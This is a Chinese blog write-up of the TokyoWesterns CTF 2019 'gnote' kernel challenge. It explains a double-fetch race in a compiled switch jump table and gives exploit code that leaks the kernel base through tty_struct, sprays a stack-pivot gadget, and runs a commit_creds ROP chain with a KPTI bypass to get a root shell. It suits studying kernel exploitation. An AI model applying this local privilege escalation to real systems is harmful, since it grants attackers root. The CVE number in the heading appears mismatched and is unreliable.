【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch
一、CVE-2015-8550
exp和原题可从我的github下载https://github.com/bsauce/CTF/tree/master/TokyoWesternsCTF2019-gnote。
漏洞详情可以参见https://wpengfei.github.io/cpedoc-accepted.pdf。
gcc 编译switch代码是,case超过5个就会变成jump table
的形式。
例如:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>int do_something(char *buf){int ret=0;switch(*(int *)buf){case 1:printf("case 1n");break;case 2:printf("case 2n");break;case 3:printf("case 3n");break;case 4:printf("case 4n");break;/*case 5:*//*printf("case 5n");*//*break;*/}return ret;
}
int main(int argc,char **argv){char *buf=malloc(0x100);*(int *)buf = 0x1;do_something(buf);return 0;
}
4种case时,选项rdi只取了一次,默认编译为cmp ... je
形式:
5种case时,选项rdi取了两次,默认编译为jump table形式,根据case索引数组跳到对应逻辑:
可以看到对用户数据取了两次,先cmp DWORD PTR [rdi],0x5
比较最大值,再mov eax,DWORD PTR [rdi]
取rdi的值作为jump table的索引。引发Double-Fetch漏洞。
二、漏洞分析
1. 程序分析
gnote首先注册一个procfs入口/proc/gnote
,只有read和write处理句柄。可以添加最多8个note(size最大为0x10000),note指针存于notes全局数组中,note结构如下:
struct note {unsigned long size;char *contents;
};
源码如下:
// 可add note 但是内容不可控,没有copy_from_user,只有copy_to_user
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{unsigned int index;mutex_lock(&lock);/** 1. add note* 2. edit note* 3. delete note* 4. copy note* 5. select note* No implementation :(*/switch(*(unsigned int *)buf){case 1:if(cnt >= MAX_NOTE){break;}notes[cnt].size = *((unsigned int *)buf+1);if(notes[cnt].size > 0x10000){break;}notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);cnt++;break;case 2:printk("Edit Not implemented\n");break;case 3:printk("Delete Not implemented\n");break;case 4:printk("Copy Not implemented\n");break;case 5:index = *((unsigned int *)buf+1);if(cnt > index){selected = index;}break;}mutex_unlock(&lock);return count;
}ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{mutex_lock(&lock);if(selected == -1){mutex_unlock(&lock);return 0;}if(count > notes[selected].size){count = notes[selected].size;}copy_to_user(buf, notes[selected].contents, count);selected = -1;mutex_unlock(&lock);return count;
}
2. 漏洞
Double-Fetch,只有在二进制中才看得出来,在
gnote_write
函数中,根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。; note that rbx is the buf argument, user-controlled cmp dword ptr [rbx], 5 ja default_case mov eax, [rbx] mov rax, jump_table[rax*8] jmp rax
未初始化内存读,在
gnote_read
函数中。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请。所以可以先调用系统调用,再把包含函数指针的块申请回来,读取原来的数据。例如/dev/ptmx
中的tty_struct
结构中指针,结构大小是0x2e0。
3. 漏洞利用
触发漏洞:
一个线程不断修改传入的index,而主线程不断调用write处理句柄。注意add note可以传入大于0x10000的size,这样会被add note丢弃,无害。触发代码如下:
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>#define FAKE_IDX "0x41414141"void* thread_func(void* arg) {asm volatile("mov $" FAKE_IDX ", %%eax\n""mov %0, %%rbx\n""lbl:\n""xchg (%%rbx), %%eax\n""jmp lbl\n":: "r" (arg): "rax", "rbx");return 0;
}int main() {int fd = open("/proc/gnote", O_RDWR);unsigned int buf[2] = {0, 0x10001};pthread_t thr;pthread_create(&thr, 0, thread_func, &buf[0]);while (1)write(fd, buf, sizeof(buf));return 0;
}
mov rax, jump_table[0x41414141*8]
导致崩溃。
利用漏洞:
- 有kaslr保护,但没有smap(这样才能执行用户空间的gadget),可以在用户空间喷射
xchg eax, esp
这个gadget; - 选项大小、映射地址。mmap_min_addr=0x1000,模块加载最低地址是0xffffffffc0000000,所以传入的选项最小为0x8000200(
0xffffffffc0000000 + 0x8000200*8 == 0x1000
); - 映射大小。最多映射0x1000页,否则会报错
ENOMEM
; - 映射冲突。如果映射
0x1000 - 0x10001000
,可能会覆盖exp的默认加载地址0x400000…。一是可以映射0x1000000-0x2000000
,二是可以编译时重定位binary—-Wl,--section-start=.note.gnu.build-id=0x40000158
。 - 栈迁移。利用gadget—
xchg eax, esp ; ret
使rsp指向用户空间,由于rsp指向gadget地址,所以需要在gadget&0xffffffff
位置布置ropchain。 - ropchain布置。先设置CR4,再执行
commit_creds(prepare_kernel_cred(0))
。但为了缓解Meltdown漏洞,采用了页表隔离机制,用户空间不可执行,所以构造rop执行commit_creds(prepare_kernel_cred(0))
。 - 返回用户态。没有了rsp和rbp,通过rop跳进
entry_SYSCALL_64
(syscall入口);处理完syscall,进行页表转换,使用sysretq
跳转到用户态,它把rip设置为rcx,rflags设置为r11。
三、Exploit
1.根据tty_struct结构泄露kernel_base
// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0); // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)// printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);
2.布置堆喷数据
由于没有smap保护,堆喷放上xchg eax, esp
使rsp指向用户空间即可。mov rax, jump_table[rax*8],内核加载最低地址是0xffffffffc0000000 + (0x8000000+0x1000000) x 8 = 0x8000000, 所以从0x8000000地址处开始喷射xchg eax, esp
地址。
// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;
3.布置rop链
由于最后是jmp rax
,rax指向xchg eax, esp
,所以rop链放在xchg_eax_esp_ret & 0xffffffff
地址即可。mmap是需要页对齐的,所以mmap_base == xchg_eax_esp_ret & 0xfffff000
。
// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = 0;rop_base[i++] = prepare_kernel_cred;rop_base[i++] = pop_rsi_ret; // ja大于则跳转,-1是最大的数rop_base[i++] = -1;rop_base[i++] = mov_rdi_rax_p_ret;rop_base[i++] = 0;rop_base[i++] = commit_creds;// bypass kptirop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = &shell;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;
4.开始竞争
// Step 4 : 开始竞争race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ...");}
}
问题:
(1)xchg eax, esp 之后rsp高8位还是0xffffffff啊,为什么只在低位布置rop呢?
在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret
xchg %esp, %eXx ; ret
. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址,虽然不知道为什么。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。
#执行xchg之前:
gef➤ i r
rax 0xffffffffb501992a 0xffffffffb501992a
rsp 0xffff966180227da0 0xffff966180227da0gef➤ stack
0xffff966180227da0: 0xffff8f8d0eaa5780
0xffff966180227da8: 0xfffffffffffffffb
gef➤ si
Warning: not running or target is remote
0xffffffffb501992b in ?? ()
Warning: not running or target is remote
#执行xchg之后:
gef➤ x /5i $pc
=> 0xffffffffb501992b: ret 0xffffffffb501992c: scas al,BYTE PTR es:[rdi]gef➤ stack
Warning: not running or target is remote
0xb501992a: 0xffffffffb501c20d
0xb5019932: 0x0000000000000000
0xb501993a: 0xffffffffb5069fe0
gef➤ i r
rax 0x80227da0 0x80227da0...
rsp 0xb501992a 0xb501992a
栈迁移:
leave_ret
(没有截断符号例如0xa0,就可以用):mov esp,ebp;pop ebp;ret
xchg eax,esp
(2)绕过kpti的方法是什么?
注意,利用老方法swapgs
和iretq
组合总是不成功。
cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode
利用了swapgs_restore_regs_and_return_to_usermode
,跳过开头的pop。构造rop链时,后面放2个0,再开始放关键的5个寄存器。
/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernelgef➤ x /50i 0xffffffffbde00a340xffffffffbde00a34: pop r150xffffffffbde00a36: pop r140xffffffffbde00a38: pop r130xffffffffbde00a3a: pop r120xffffffffbde00a3c: pop rbp0xffffffffbde00a3d: pop rbx0xffffffffbde00a3e: pop r110xffffffffbde00a40: pop r100xffffffffbde00a42: pop r90xffffffffbde00a44: pop r80xffffffffbde00a46: pop rax0xffffffffbde00a47: pop rcx0xffffffffbde00a48: pop rdx0xffffffffbde00a49: pop rsi0xffffffffbde00a4a: mov rdi,rsp <<<<<<<<<<<<<<<<<<<<<<0xffffffffbde00a4d: mov rsp,QWORD PTR gs:0x50040xffffffffbde00a56: push QWORD PTR [rdi+0x30]0xffffffffbde00a59: push QWORD PTR [rdi+0x28]0xffffffffbde00a5c: push QWORD PTR [rdi+0x20]0xffffffffbde00a5f: push QWORD PTR [rdi+0x18]
参考:
https://wpengfei.github.io/cpedoc-accepted.pdf
https://rpis.ec/blog/tokyowesterns-2019-gnote/
https://www.anquanke.com/post/id/185911
linux漏洞缓解机制介绍
【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch相关推荐
- linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2
前言 在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr.在本文中,我们将逐步启用更多的安全防御机制,即SMEP.KPTI和SMA ...
- android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...
[技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...
- linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)
使第二次循环中的fget()返回NULL 到目前为止,在用户态下满足了触发漏洞的三个条件之一.TODO: 使netlink_attachskb()返回1 [DONE]exp线程解除阻塞 使第二次fge ...
- 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path
0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...
- Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
- 自检代码中trustmanager漏洞_Windows内核漏洞利用教程
堆栈溢出漏洞 首先,我们将从HackSysExtremeVulnerableDriver中的vanilla栈溢出漏洞开始讲起. 当向堆栈上的缓冲区存放的数据超出其存储容量时(例如,向16字节缓冲区(这 ...
- 安全漏洞一内核漏洞利用
漏洞描述 Windows 事件跟踪 (ETW) 机制允许记录内核或应用程序定义的事件以进行调试. 开发人员能够启动和停止事件跟踪会话,检测应用程序以提供跟踪事件,并通过调用 ETW 用户模式 Wind ...
- [kernel exploit] Dirty Cred: 一种新的无地址依赖漏洞利用方案
文章目录 简介 背景 Dirty Cred 基础知识 内核凭证 cred file slab 种类 通用内存slab 特殊内存slab filp cred 漏洞利用思路与实例 思路 CVE-2021- ...
- 部分CIA的漏洞利用工具干货请查收
3月12日讯 CIA 辛辛苦苦几年攒的漏洞和工具"被"提交事件后,业内人士和记者都在仔细查看这些文件,各方都在关注事情进展. 相关阅读: 维基解密再曝美国情报机构惊天内幕 批露CI ...
最新文章
- retrofit2 spring接受参数_Spring面试中有可能遇到的问题
- 全卷积神经网路【U-net项目实战】U-Net源码上实现自己数据集的分割任务
- Windows PE第九章 线程局部存储
- responsebody如何将数据转换成json的_干货分享:如何用Retrofit直接获得Json数据(字符串)...
- 演讲者模式投影到幕布也看到备注_家用投影幕布怎么选?(看这一篇就明白了)...
- Solr空间搜索原理分析与实践
- QT5开发及实例学习之五算法及正则表达式
- 华为公司参加2006 CCBN广电信息网络展览会
- 2012 金华现场赛 A题
- 简单的描述关于开发部署产生401,500的错误处理
- FCKeditor配置和使用(转)
- 激光雷达(LiDAR)简介-森林资源调查应用
- 涉案千万,抓获170人,从业者多为90后,广州一公司被一锅端了!
- 不知道怎么压缩图片大小?分享2个压缩小技巧
- 如何使用PPT制作风靡朋友圈的九宫格照片,两种方法供你选择
- python程序中每条语句以分号结尾,在Python程序中,每条语句末尾必须添加分号。...
- 山东大学软件过程管理复习纲要
- SpringBoot整合阿里云视频点播
- 亲爱的老狼-清除浮动float的5种方法
- 【R生态】普鲁克分析(Procrustes Analysis)